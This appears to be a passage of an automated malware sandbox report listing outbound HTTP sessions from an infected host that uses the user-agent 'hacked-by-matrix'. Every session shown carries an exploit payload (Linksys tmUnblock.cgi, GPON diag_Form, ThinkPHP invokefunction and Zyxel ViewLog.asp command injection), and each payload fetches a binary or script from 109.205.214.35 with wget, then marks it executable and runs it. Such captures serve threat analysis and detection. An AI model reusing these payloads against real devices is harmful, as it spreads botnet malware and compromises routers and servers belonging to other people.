Mar 21, 2024 05:18:15.414699078 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:16.918487072 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.23	39754	172.65.225.179	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.129251003 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.23	39128	109.217.85.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233483076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.23	55402	37.238.160.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233530045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.23	39598	37.223.125.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233556986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.23	56082	109.112.1.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233573914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.23	51130	79.48.3.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233597040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.23	42984	210.145.162.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233690023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.23	41930	118.145.231.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233787060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.23	45134	212.141.237.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233803034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.23	51886	210.138.191.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233870029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.23	45204	37.190.110.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233871937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.23	33050	79.91.210.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.233968019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.23	33892	112.12.91.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.347904921 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:19.510148048 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:25.653367996 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:26.071583986 CET	479	IN	HTTP/1.1 400 Bad Request Server: kngx/1.10.2 Date: Thu, 21 Mar 2024 04:18:25 GMT Content-Type: text/html Content-Length: 172 Connection: close KS-Deny-Reason: client\|191.96.227.194\|cdnjhmp01-cache44.cdnjhmp01.ksyun.com\|proxy\|client-sent-HTTP/1.1-request-without-Host-header x-link-via: jhmp01:80; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 6e 67 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.23	57620	172.67.241.119	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.558150053 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.23	56620	98.127.68.34	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.594808102 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:16.342680931 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:17.238466978 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.23	39740	172.65.225.179	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:16.114540100 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.23	47236	80.246.28.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.344209909 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:17.546428919 CET	822	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:17 GMT Server: Apache Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 31 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:17 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.23	56896	88.215.220.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.536187887 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
